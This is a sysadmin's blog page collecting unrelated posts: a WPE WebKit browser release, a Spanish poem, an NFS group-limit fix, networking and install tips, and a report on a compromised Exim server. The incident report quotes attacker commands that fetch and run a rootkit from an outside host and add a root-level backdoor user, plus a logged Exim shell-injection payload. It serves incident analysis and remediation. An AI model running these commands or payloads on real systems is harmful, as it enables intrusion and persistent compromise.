A new Balena Browser Block based on WPE WebKit is here

TL;DR: The balena-browser-wpe has been released. This is the result of using the WPE WebKit browser as the chosen web engine for the Balena Browser block. This opens a lot of doors for all kinds of things, really lowering the bar to checking out and exploring an official WPE build with Balena’s very convenient system (more below).

It is my pleasure to announce the public release of the new Balena Browser Block based on WPE WebKit (balena-browser-wpe). This was completed by a close collaboration between Igalia and Balena developers, and was several months in the making. It was made possible in large part by the decision to use the WPE WebKit browser as the web engine for the Balena Browser block. Thanks to everyone involved for making it happen!

As a quick introduction for those who don’t know what Balena is or what they do, Balena.io is a well-known company due to being authors of balenaEtcher, the open-source utility widely used for flashing disk images onto storage media to create live SD cards and USB flash drives. But for some time now, they have been working on what they call Balena Cloud, a complete open-source stack of tools, images and services for deploying IoT services.

Why you could be interested on continuing reading this post?

You might find this news especially interesting if:

You are interested in building a Balena project using the new Linux graphical stack based on Wayland.
You are looking for a browser solution with a very low memory footprint. This block is intended to be usable as an easy and fast evaluation channel for the WPE WebKit web rendering engine for embedded platforms.
You are looking for a fully open ecosystem with standardized specifications for your project.
You are optimizing your project for RaspberryPi 3 and RaspberryPi 4.

… and, specifically about WebKit, if:

You are interested in a platform that uses the latest stable versions of WPE WebKit available.
You are interested in playing with the experimental features for WPE WebKit.
You are looking for a WPE WebKit solution using the WPE Freedesktop (FDO) backend (wpebackend-fdo).
You are looking for a WPE WebKit solution using the Yocto meta-webkit recipes to build the binary images.

The Balena Cloud , as I introduced before, is a complete set of tools for building, deploying, and managing IoT services on connected Linux devices. Balena is already providing service currently for around a half-million connected devices via the Balena Cloud. What I find especially interesting is that every Fleet (Balena’s term for a collection of devices) hosted on the Balena Cloud is running on a full open-source stack, from the OS flashed in the devices to the applications running on the top of the OS.

Another service they provide in this ecosystem is the Balena Hub, a catalog of IoT and edge projects created by a community. In this catalog you can find other reusable blocks or projects that you can reuse or adapt to build your own Balena project. The idea is that you can connect blocks like a kind of Lego so you can chose a X server, and then connect a dashboard, later a browser and so … In summary, in this Balena ecosystem you can find:

Blocks:
- Drop-in chunk of functionality built to handle the basics.
- Defined as an Docker image (Dockerfile, docker-compose.yml).
Projects:
- Allows you to design your services in a plug&play way by using blocks.
- Source code of a Fleet (forkeable).
Fleets (== Applications):
- Groups of devices running the same code for a specific task.
- It can be private or public.

Coming back to initial point, what we are announcing here is two new Balena blocks that they will be part of the Balena Hub: 1) the balena-browser-wpe block and 2) the balena-weston block.

The design of the balena-browser-wpe block comes with significant innovations with respect to the Balena Browser, (balena-browser) which makes it significantly different from the former block. For example, contrary to other balena-browser, what uses a Chromium browser via the classical X11 Linux graphical system, the new balena-browser-wpe block provides a hardware accelerated web browser display based on WPE WebKit on the top of the new Linux graphical stack, Wayland, using the Weston compositor system.

Also WPE WebKit allows embedders to create simple and performant systems based on Web platform technologies. It is a WebKit port designed with flexibility and hardware acceleration in mind, leveraging common 3D graphics APIs for best performance.

Block diagram of the Balena Browser WPE project

Another important difference is that this project is intended to run entirely on a fully open graphical stack for the Raspberry Pi. That means the use of the Mesa VC4 graphics driver instead of the proprietary Broadcom driver for Raspberry Pi.

The Raspberry Pi Broadcom VideoCore 4 GPU (Graphical Processing Unit) is a OpenGL ES 2.0 3D and GLES 2.0 compatible engine. The closed source graphics stack runs on VC4 GPU and talks to V3D and display component using proprietary protocols. Instead of this, the Mesa VC4 driver provides the open-source implementation of open standards: the OpenGL (Open graphics Library), Vulkan and other graphics API specification (e.g: GLES2).

Finally, the API for interacting with GPU is enabled with the Mesa VC4 driver and provides, through Mesa, the access to to DRM (Direct Rendering Manager) subsystem of the Linux kernel responsible for interfacing with the GPU and the DMA Buffer Sharing Framework required for a efficient buffer export mechanism required by the Wayland compositor 🚀.

How can I start to play with the Balena Browser WPE?

This is the enjoyable part of the article. Balena provides many of the pieces that you will need, at least, from the point of view of the software (the hardware still has to be supplied by you 🙃). From Balena you will get:

The Balena OS, a downloadable OS image where the blocks will be executed in the top of this base system as isolated containers.
The Balena Hub, a source repository for the projects to run in the top of Balena Cloud.
and the Balena Cloud, a container-based platform for deploying IoT applications over all the connected devices.

Additional requirements are the sources for the blocks that we provide:

The Balena WPE project, the reference project for building all of the required Balena blocks for running the WPE WebKit browser.
The Balena Browser WPE block source code.
The Balena Weston block source code.

To get the Balena Browser WPE project working on your Raspberry Pi 3 or 4, begin by following the Getting started guide. Once you reach the Running your first Container section, use the balena-wpe Github URL of the repository instead of the one provided. For example: git clone https://github.com/balenalabs/multicontainer-getting-started.git -> git clone https://github.com/Igalia/balena-wpe.git

Last but not least …

… now that the sources of the project are public, I intend to keep publishing short posts explaining in detail what I consider the relevant features of this project are. We also intend to create a public Balena Fleet based in this project. Personally, I think this it could be a nice and easy way to familiarize yourself with the Balena Browser WPE project, for those just getting started.

That’s all for now! I hope you will enjoy this contribution. More things are coming soon.

De raices y secretos

…
recorro el camino que la noche protege,
Cuando ya nadie penetra con ojos y báculos
…
Mi padre miró a alguien
Y abrazó a la palmera,
Yo miré a mi padre y también hurgué en ella.

…

Mi hijo no me vio y alguien subió con él, porque oculté celoso mi palmera como lo hiciera mi ancestro.

Y hoy vago con ella sin tierra ni raíces
Sin retoños que recorran mi camino,
O sin extraños que puedan imaginar mi abrazo mientras la noche protege mi hazaña.
…
Hoy mi palmera perece en mi mente,
Sin llantos para ser socorrido
Porque ya desgarré sus raíces,
…
Y yo seguiré con ella, en hombros,
Y con mi aro colgando entre cantos y muros.

Justo Bolekia Boleká | Ombligos y raíces. Poesía africana
Biblioteca Africana – Biblioteca Virtual Miguel de Cervantes | Noviembre de 2015

3 Kings spirit

The NFS 16 groups limit issue

The last Friday I was involved in a curious situation trying to setup a NFS server. The NFS server was mounted in UNIX server which was using UNIX users accounts assigned to many groups. These users were using files and directories stored in the NFS server.

As brief description of the situación which incites this post, I will say that the problem occurs when you are using UNIX users which are assigned in more than 16 UNIX groups. In this scenario, if you are using NFS (whatever version) with the UNIX system authentication (AUTH_SYS), quite common nowadays in spite of the security recommendations, you will get a permission denied during the access to certain arbitrary files and directories. The reason is that the list of secondary groups assigned to the user is truncated by the AUTH_SYS implementation. That is simple amazing!

Well, to be honest, this is not an unknown NFS problem. This limitation is here, around us, since the early stages of the modern computing technology. After a quick search on Internet, I found the reason why this happens and it is not a NFS limitation but it is a limit specified on AUTH_SYS:

   The client may wish to identify itself, for example, as it is
   identified on a UNIX(tm) system.  The flavor of the client credential
   is "AUTH_SYS".  The opaque data constituting the credential encodes
   the following structure:

         struct authsys_parms {
            unsigned int stamp;
            string machinename<255>;
            unsigned int uid;
            unsigned int gid;
            unsigned int gids<16>;
         };

The root cause

AUTH_SYS is the historical method which is used by client programs contacting an RPC server need. This allows the server get information about how the client should be able to access, and what functions should be allowed. Without authentication, any client on the network that can send packets to the RPC server could access any function.

AUTH_SYS has been in use for years in many systems just because it was the first authentication method available but AUTH_SYS is not a secure authentication method nowadays. In AUTH_SYS, the RPC client sends the UNIX UID and GIDs for the user, the server implicitly trusts that the user is who the user claims to be. All the this information is sent through the network without any kind of encryption and authentication, so it is high vulnerable.

In consequence, AUTH_SYS is an insecure security mode. The result is this can be used as the proverbial open lock on a door. Overall the technical articles about these matters highly suggest the usage of other alternatives like NFSv4 (even NFSv3) and Kerberos, but yet AUTH_SYS is commonly used within companies, so we must still deal it.

Note: This article didn’t focus in security issues. The main purpose of this article is describe a specific situation and show the possible alternatives identified during the troubleshooting of the issue.

Taking up the thread …

I was profiling a situation where the main issue was leaded by a UNIX secondary groups list truncation. Before continue, some summary of the context here: A UNIX user has a primary group, defined in the passwd database, but can also be a member of many other groups, defined in the group database. A UNIX system hardcoded a limit of 16 groups that a user can be a member of (source). This means that clients into UNIX groups only be able to access to 16 groups. Quite poor when you deal with dozens and dozens of groups.

As we already know, the problem is focused in the NFS fulfilment with the AUTH_SYS specifications, which has an in-kernel data structure where the groups a user has access to is hardcoded as an array of 16 identifiers (gids). Even though Linux now supports 65536 groups, it is still not possible to operate on more than 16 from userland.

My scenario …

at this moment, I had identified this same situation in my case. I had users assigned to more than 16 secondary groups, I had a service using a NFS for the data storage but, in addition, I had some more extra furnitures in the room:

Users of the service are actual UNIX accounts. The authorization to for the file accessing is delegated to the own UINIX system
I hadn’t got a common LDAP server sharing the uids and gids
The NFS service wasn’t under my control

; this last point turned my case a little bit more miserable as we will see later.

Getting information from Internet …

first of all, a brief analysis of the situation is always welcome:

– What is the actual problem? This problem occurs when a user, who is a member of more than 16 groups, tries to access a file or directory on an nfs mount that depends on his group rights in order to be authorized to see it. Isn’t it?
– Yes!
– So, whatever thing that you do should be starting by asking on Google. If the issue was present for all those years, the solution should be also present.
– Good idea! – I told concluding the dialog with myself.

After a couple of minutes I had a completed list of articles, mail archives, forums and blog posts which throw up all kind of information about the problem. All of them talked about the most of the points introduced up to this point in this article. More or less interesting each one, one of them sticked out respect the others. It was the solving-the-nfs-16-group-limit-problem posted article from the xkyle.com blog.

The solving-the-nfs-16-group-limit-problem article describes a similar situation and offers it own conclusions. I must admit that I am pretty aligned with these conclusions and I would recommend this post for a deep reading.

The silver bullet

This solution is the best case. If you have the control of the NFS and you are running a Linux kernel 2.6.21 at least. This kernel or newer supports a NFS feature with allows ignore the gids sent by the RPC operations, instead of uses the local gids assigned to the uid from the local server:

-g or --manage-gids Accept requests from the kernel to map user id numbers into lists of group id numbers for use in access control. An NFS request will normally (except when using Kerberos or other cryptographic authentication) contains a user-id and a list of group-ids. Due to a limitation in the NFS protocol, at most 16 groups ids can be listed. If you use the -g flag, then the list of group ids received from the client will be replaced by a list of group ids determined by an appropriate lookup on the server. Note that the 'primary' group id is not affected so a newgroup command on the client will still be effective. This function requires a Linux Kernel with version at least 2.6.21.

The key for this solution is get synchronized the ids between the client and the server. A common solution for this last requirement it is a common Name Service Switch (NSS) service. Therefore, the --manage-gids option allows the NFS server to ignore the information sent by the client and check the groups directly with the information stored into a LDAP or whatever using by the NSS. For this case, the NFS server and the NFS client must share the UIDs and GIDs.

That is the suggested approaching suggested in solving-the-nfs-16-group-limit-problem. Unfortunately, it was not my case :-(.

But not in my case

In my case, I had no way for synchronize the ids of the client with the ids of the NFS server. In my situation the ids in the client server was obtained from a Postgres database added in the NSS as one of the backends, there was not any chance to use these backend for the NFS server.

The solution

But this was not the end. Fortunately, the nfs-ngroups patchs developed by frankvm@frankvm.com expand the variable length list from 16-bit to 32-bit numeric supplemental group identifiers. As he says in the README file:

This patch is useful when users are member of more than 16 groups on a Linux NFS client. The patch bypasses this protocol imposed limit in a compatible manner (i.e. no server patching).

That was perfect! It was that I was looking for exactly. So I had to build a custom kernel patched with the right patch in the server under my control and voilá!:

wget https://cdn.kernel.org/pub/linux/kernel/v3.x/linux-3.10.101.tar.xz
wget http://www.frankvm.com/nfs-ngroups/3.10-nfs-ngroups-4.60.patch
tar -xf linux-3.10.101.tar.xz</code><code>
cd linux-3.10.101/
patch &lt; ../3.10-nfs-ngroups-4.60.patch
make oldconfig
make menuconfig
make rpm
rpm -i /root/rpmbuild/RPMS/x86_64/kernel-3.10.101-4.x86_64.rpm
dracut "initramfs-3.10.101.img" 3.10.101
grub2-mkconfig &gt; /boot/grub2/grub.cfg

Steps for CentOS, based on these three documents: [1] [2] [3]

Conclusions

As I said this post doesn’t make focus in the security stuffs. AUTH_SYS is a solution designed for the previous times before Internet. Nowadays, the total interconnection of the computer networks discourages the usage of kind methods like AUTH_SYS. It is an authentication method too much naive in the present.

Anyway, the NFS services are still quite common and many of them are still deployed with AUTH_SYS, not Kerberos or other intermediate solutions. This post is about a specific situation in one of these deployments. Even if these services should be progressively replaced by other more secure solutions, a sysadmin should demand practical feedback about the particularities of these legacy systems.

Knowledge about the NFS 16 secondary groups limit and the different recognized workaround are still interesting from the point of view of the know-how. This post shows two solutions, even three if you consider the Kerberos choice, to fix this issue … just one of them fulfill with my requirements in my particular case.

Pablo says: “welcome ess-pipe-de to my life!”

Recently, some guy suggests me the usage of spiped instance of “SSH -L” to generate secure and more robust tunnels in peers under my control. The father of the creature is Alex Polvi (https://twitter.com/polvi) which doesn’t looks like as the new guy in the class: CEO in CoreOs Inc., previously General Manager on Rackspace, Product Manager and Sysadmin for mozilla.org. So, you can feel free to trust on spiped the next time you wish a protected peer-to-peer communication between a pair of servers:

To set up an encrypted and authenticated pipe for sending email between two
systems (in the author's case, from many systems around the internet to his
central SMTP server, which then relays email to the rest of the world), one
might run

# dd if=/dev/urandom bs=32 count=1 of=keyfile
# spiped -d -s '[0.0.0.0]:8025' -t '[127.0.0.1]:25' -k keyfile

on a server and after copying keyfile to the local system, run

# spiped -e -s '[127.0.0.1]:25' -t $SERVERNAME:8025 -k keyfile

at which point mail delivered via localhost:25 on the local system will be
securely transmitted to port 25 on the server.

Original repository in github: https://github.com/polvi/spiped

Debootstrap – all steps

Installing Debian GNU/Linux from another Unix/Linux System

This article will show how to install a Debian GNU/Linux on a existing
Linux server which is up and running.

A more detailed information about this stuff you will be able to get
on http://www.debian.org/releases/stable/i386/apds03.html

Following steps should be followed in order.

Getting debootsrap:

cd /root
mkdir tmp
cd tmp
wget http://ftp.debian.org/debian/pool/main/d/debootstrap/debootstrap_1.0.26+squeeze1_all.deb
ar -x debootstrap_1.0.26+squeeze1_all.debar -x debootstrap_1.0.26+squeeze1_all.deb
cd /
zcat /root/tmp/data.tar.gz | tar xv

Making the base directory for the chroot enviroment:

mkdir /mnt/debian

Mounting the target partition (we are assuming target partition is a Linux
metadevice):

mount /dev/md1 /mnt/debian/
/usr/sbin/debootstrap --arch amd64 squeeze /mnt/debian/ http://ftp.us.debian.org/debian

Copying the reusable information:

cp /etc/hosts /mnt/debian/etc/
cp /etc/hostname /mnt/debian/etc/
cp /etc/network/intefaces /mnt/debian/etc/network/
cp /etc/fstab /mnt/debian/etc/

/dev/md1 / ext4 defaults 1 1
devpts /dev/pts devpts gid=5,mode=620 0 0
none /proc proc defaults 0 0
none /tmp tmpfs defaults 0 0
sysfs /sys sysfs defaults 0 0

cp /etc/mdadm.conf /mnt/debian/etc/

MAILADDR root
AUTO +imsm +1.x -all
DEVICE /dev/sda* /dev/sdb*
ARRAY /dev/md1 devices=/dev/sda1,/dev/sdb1
ARRAY /dev/md3 devices=/dev/sda3,/dev/sdb3

cp /etc/inittab /mnt/debian/etc/

# getty in a serial console:
T0:2345:respawn:/sbin/getty -L ttyS0 57600 vt100

Cheking if serial console port is in seccuretty file:

vim /mnt/debian/etc/securetty
# ttyS0 must be listen into this file

Adjusting the source.list

vim /mnt/debian/etc/apt/sources.list

Mounting needed resources:

mount -t proc proc /mnt/debian/proc
mount -o bind /dev/ /mnt/debian/dev/

Entering in the chroot enviroment:

LANG=C chroot /mnt/debian/ /bin/bash

Mounting extra resources needed

mount /dev/pts/
mount /sys

Changing password. We usually forget this step and due to this fact then we can
not login into the server.

passwd root

Installing needed packages (kernel, tools, modeules required, bootloader):

apt-get install vim ssh lvm2 mdadm bridge-utils
apt-cache search linux.image
apt-get install linux-image...
apt-get install grub2

Configuring grub

vim /etc/default/grub
# set console output on grub

update-grub

Reviewing all settings:

vim /boot/grub/grub.cfg
vim /etc/inittab
vim /etc/fstab
vim /etc/network/interfaces

Finally, exit to the chroot enviroment and execute the reboot command.

… and Good luck !!!

x11vnc: a VNC server for real X displays

In localhost:
localhost$ ssh <<remote_host_ip>>

In remotehost:
remotehost$ export DISPLAY=:0
remotehost$ x11vnc

In localhost:
localhost$ vinagre <<remote_host_ip>>

Socat – Socket concatenator!

socat is a Multipurpose relay (“is a more complex variant of netcat. It is larger and more flexible and has more options that must be configured for a given task” – Wikipedia):

http://www.dest-unreach.org/socat/

Get it here: socat-1.7.2.0.tar.gz

Examples of use:

socat - TCP4:www.domain.org:80

transfers data between STDIO (-) and a TCP4 connection to port 80 of host http://www.domain.org. This example results in an interactive connection similar to telnet or netcat. The stdin terminal parameters are not changed, so you may close the relay with ^D or abort it with ^C.
socat - SSL:server:4443,cafile=server.crt,cert=client.pem

is an OpenSSL client that tries to establish a secure connection to an SSL server. Option cafile specifies a file that contains trust certificates: we trust the server only when it presents one of these certificates and proofs that it owns the related private key. Otherwise the connection is terminated. With cert a file containing the client certificate and the associated private key is specified. This is required in case the server wishes a client authentication; many Internet servers do not.
The first address (‘-‘) can be replaced by almost any other socat address.
socat - UDP4-DATAGRAM:224.255.0.1:6666,bind=:6666,ip-add-membership=224.255.0.1:eth0

transfers data from stdin to the specified multicast address using UDP. Both local and remote ports are 6666. Tells the interface eth0 to also accept multicast packets of the given group. Multiple hosts on the local network can run this command, so all data sent by any of the hosts will be received by all the other ones. Note that there are many possible reasons for failure, including IP-filters, routing issues, wrong interface selection by the operating system, bridges, or a badly configured switch.

See more examples in www.dest-uconcatenatornreach.org

My Exim is under attack!!

A few days ago, I received one alarm from one mail list server under my management. /etc/password
file had been modified. In fact, my system had been broke down and somebody was modifying
my server at will. Fortunetly, I often configure my monitor system to check
md5 variations in important files of the system.
Quickly, I logged on the host and, shaw the next commands executed as
root on my server:

 id
pwd
cd ..
cd ..
ls
rm -rf *
ls
wget \freewebtown.com/zaxback/rk.tar
tar xzvf rk.tar
cd shv5
./setup 54472Nx79904 9292
ls
pwd
ls
/usr/sbin/useradd -u 0 -g 0 -o mt
passwd mt

The hacker had installed something on my server and I had to discover what! …

The downloaded package, rk.tar (http://freewebtown.com/zaxback/rk.tar) contained a
the badware trojan called shv5. This mainly was a backdoor and a suite of fake
system libraries and binaries changed maliciously.

The first task in the TODO list was check if somebody else was conected yet
in the system and, at least review review the auth.log to known to IP which
was the ofrigin of the attack.

Once detected the hacker’s IP and confirmed my suspicion about the origin of the
attack: a windows infected host (a zombie), I decided that
follow the tracks of the hacker was time to lose, so I began to check
the scope of intrusion.

Reviewing the rk.tar package and the setup.sh script I got to make a list
of posible infected files on my server:

/sbin/xlogin
/bin/login
/etc/sh.conf
/bin/.bash_history
/lib/lidps1.so
/usr/include/hosts.h
/usr/include/file.h
/usr/include/log.h
/usr/include/proc.h
/lib/libsh.so
/lib/libsh.so/*
/usr/lib/libsh
/usr/lib/libsh/*
/sbin/ttyload
/usr/sbin/ttyload
/sbin/ttymon
/etc/inittab
/usr/bin/ps
/bin/ps
/sbin/ifconfig
/usr/sbin/netstat
/bin/netstat
/usr/bin/top
/usr/bin/slocate
/bin/ls
/usr/bin/find
/usr/bin/dir
/usr/sbin/lsof
/usr/bin/pstree
/usr/bin/md5sum
/sbin/syslogd
/etc/ttyhash
/lib/ldd.so
/lib/ldd.so/*
/usr/src/.puta
/usr/src/.puta/*
/usr/sbin/xntpd
/usr/sbin/nscd
/usr/info/termcap.info-5.gz
/usr/include/audit.h
/usr/include/bex
/usr/include/bex/*
/var/log/tcp.log
/usr/bin/sshd2
/usr/bin/xsf
/usr/bin/xchk
/dev/tux
/usr/bin/ssh2d
/lib/security/.config/
/lib/security/.config/*
/etc/ld.so.hash
/etc/rc.d/rc.sysinit
/etc/inetd.conf

I noted that many importat commands of the system has been changed for others
non-safe commands. The reason was obviously: Hide the Troyan!. Also, the
badware had modified attributes of infected files to avoid modifications
(chattr +isa /usr/sbin/netstat, for example).

Inmediatly, I decided the reinstallation of the main binaries and libraries
of the system:

apt-get install --reinstall net-tools coreutils

After recover safe versions of commands like netstat, md5sum, ls or similars,
I began to see what was really happen on the system:

A keylogger was up on the system:

root      7469  0.0  0.0   1804   652 ?        S    14:55   0:00 ttymon tymon

tcp        0      0 0.0.0.0:9292            0.0.0.0:* LISTEN     7467/ttyload

A hide HTTP/FTP server was running:

103       7671  0.1  0.1   4936  2968 ?        S    14:58   0:18  syslogr
root     10886  0.0  0.0  11252  1200 ?        Sl   17:39   0:00 /usr/sbin/httpd

tcp        0      0 0.0.0.0:64842           0.0.0.0:* LISTEN     7424/httpd

syslogr process wasn’t nothing related to the syslog system. It was a process
which launched the hide HTTP/FTP service to share files … files of the infected server.
I addition, syslogr proccess was relaunched by a root cronjob to keep up
this proccess on the system.

# crontab  -l
* * * * * /.../bin/cron.sh >/dev/null 2>&1

More things!, as you can observe in the cron job, somebody was created a hide
directory under / directory: /... . This directory contained the httpd
binaries and conffiles and directories used by the httpd process.

After sometime working on the server, I’d done the follow actions in order
to revoke all the security breaks detected:

I’d reinstalled all the binaries and libraries posible non-safe after the atack.
I’d erased bad process on the system aka syslogr, ttymon … and cronjobs or others
ways to keep up these.
I’d deleted the user mt with the uid=0
I’d reviewed the SSH access to the server on the main firewall

…

6 coffees later, I reached one diagnostic more detailled about what was happen
… and there wasn’t good news 😦

On December 16, the server had been hacked through a vulnerability discovered
on the Exim4 service and reported on Debian Security Reports on December 10:

http://www.debian.org/security/2010/dsa-2131

This vulnerability allowed remote execution of arbitrary code and a privilege
escalation. This allowed to the attacker to inject public keys for the root
user.

2010-12-16 20:47:25 1PTJj8-0006K2-Ck rejected from  H=trbearcom.com.au (yahoo.com) [131.103.65.196]: message too big: read=52518119 max=52428800
2010-12-16 20:48:25 H=trbearcom.com.au (yahoo.com) [131.103.65.196] temporarily rejected MAIL webmaster@yahoo.com: failed to expand ACL string "/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/b
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} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec
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2010-12-16 20:49:06 1PTJp4-0006Kx-E5  sistemas-srv  R=mailman_router T=mailman_transport

The attack could have been controlled at this point but missed two
things:

Monitorization root authorized keys file it could not see
the changes due it didn’t have permission to access it so the monitor
didn’t report anything.
At sometime, the SSH restriction access was removed.

These facts allowed that the attack continues hidden until Janury 9. I lose!!!

As a summary, the timing of the attack is as follows:

December 10, Exim vulnerability discovered an published

NM/09 Bugzilla 787: Potential buffer overflow in string_format Patch provided by Eugene Bujak
December 16, a large-scale attack is performed using this vulnerability where my host is break down from trbearcom.com.au (yahoo.com) [131.103.65.196]. In this attack it’ll incorporate public key of the attacker root
December 26, the attacker inserts a Trojan into my host
January 9, the attacker inserts a keylogger and attempts to hide editing system tools. During this attack, my monitors notified the /etc/password file is changed

Finally, I knew how to the attacker had break down my server and things which I’d to fix, so I ‘d make the following actions in order to restore the security of may server:

Updated the system to lenny:
1. Edit the /etc/apt/sources.list file fixing the repositories to lenny
2. sudo aptitude update
3. sudo aptitude install apt dpkg aptitude
4. sudo aptitude full-upgrade

Upgrading from Exim to 4.72 + backports lenny
1. http://backports.debian.org/Instructions/
2. sudo aptitude install exim4=4.72-3~bpo50+1

More references:

HTML tables sorter from Canada

I’m very fascinated by one JavaScript library that I’ve found recently. The purpose of this library is very simple: Making HTML tables sortable.

The performance of sorting a table using this JavaScript library is much better than other table sorting strategies (for example, AJAX+JSON queries to server side).
The quiz of this library is that it uses the quicksort (makes O(nlogn) comparisons to sort n items) algorithm.